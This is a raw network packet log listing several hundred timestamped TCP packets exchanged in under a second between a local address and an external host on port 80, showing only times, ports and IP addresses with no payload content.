Dec 16, 2024 21:02:35.377109051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.377142906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.378179073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.378231049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.378297091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.378355980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.379077911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.379122019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.379156113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.379199028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.380062103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.380103111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.380156040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.380202055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.381107092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.381159067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.381201029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.381247044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.382137060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.382181883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.382214069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.382261038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.383167028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.383212090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.383256912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.383307934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.384119987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.384167910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.384188890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.384205103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.385082960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.385128021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.385174990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.385231018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.386086941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.386168003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.386215925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.387229919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.387290955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.387329102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.387376070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.388149023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.388199091 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.388386011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.388454914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.389111996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.389161110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.389198065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.389461040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.390121937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.390152931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.390198946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.391134977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.391186953 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.391230106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.391272068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.392127037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.392177105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.392220974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.392407894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.393258095 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.393310070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.393361092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.393400908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.394149065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.394200087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.394243956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.394370079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.395143986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.395191908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.395243883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.395502090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.396219969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.396270037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.396322012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.396683931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.397165060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.397212029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.397274971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.397376060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.398159027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.398205042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.398257017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.398298979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.399202108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.399246931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.399337053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.399384022 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.400178909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.400227070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.400269985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.400315046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.401192904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.401225090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.401242018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.401264906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.402231932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.402291059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.402333975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.402375937 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.403222084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.403273106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.403327942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.403474092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.404222965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.404268980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.404362917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.404409885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.405241966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.405289888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.405323029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.405487061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.406200886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.406253099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.545799017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.545823097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.545900106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.546195030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.546222925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.546243906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.546272993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.547015905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.547065020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.547075033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.547102928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.547955036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.548007011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.548079014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.548894882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.548940897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.548949003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.548993111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.549895048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.549942970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.550030947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.550075054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.550982952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.551028967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.551065922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.551116943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.551884890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.551925898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.551940918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.551980972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.552932978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.552973986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.553286076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.553324938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.553963900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.554064989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.554104090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.554912090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.554955006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.555008888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.555049896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.555990934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.556035995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.556093931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.556132078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.556999922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.557033062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.557075024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.558007956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.558039904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.558058023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.558089018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.558960915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.559012890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.559250116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.559294939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.560029984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.560177088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.560975075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.561028957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.561172009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.562011003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.562063932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.562086105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.563008070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.563069105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.563172102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.564016104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.564057112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.564075947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.565000057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.565045118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.565140009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.566004992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.566031933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.566173077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.566215038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.566996098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.567137003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.567181110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.568044901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.568161011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.568208933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.569042921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.569174051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.570080042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.570133924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.570271015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.571140051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.571197987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.571351051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.572052002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.572062016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.572093010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.572154999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.573095083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.573174000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.573224068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.574100018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.574151993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.574197054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.575092077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.575303078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.575352907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.576108932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.576174974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.576220036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.577126026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.577227116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.577275038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.578119993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.578278065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.579150915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.579204082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.579210043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.579245090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.580254078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.580274105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.581024885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.581161022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.581226110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.581276894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.582118988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.582257986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.582307100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.583203077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.583247900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.583297968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.584136009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.584189892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.585233927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.585299015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.585344076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.586350918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.586405039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.586510897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.587397099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.587416887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.587449074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.587466955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.588334084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.588469982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.589303017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.589353085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.589405060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.589627981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.590286970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.590362072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.590379000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.590437889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.591331959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.591389894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.591582060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.591624975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.592256069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.592322111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.592360973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.592750072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.593461037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.593573093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.593621016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.594333887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.594400883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.594429970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.594465971 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.595257044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.595335960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.595386982 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.596627951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.596647978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.596709967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.597229958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.597342014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.597400904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.598356009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.598413944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.738193035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.738240957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.738302946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.738481998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.738682032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.738727093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.739348888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.739479065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.739520073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.740467072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.740581989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.741396904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.741405010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.741529942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.741552114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.741573095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.742415905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.742460012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.742506027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.743463039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.743503094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.743546963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.744398117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.744437933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.744532108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.745141983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.745424986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.745626926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.745995998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.746444941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.746565104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.746602058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.747410059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.747561932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.747596979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.748445034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.748486042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.748589993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.749003887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.749581099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.749672890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.750494957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.750540018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.750632048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.751522064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.751559973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.751591921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.752002954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.752476931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.752569914 CET	80	49812	31.41.244.11	192.168.2.4
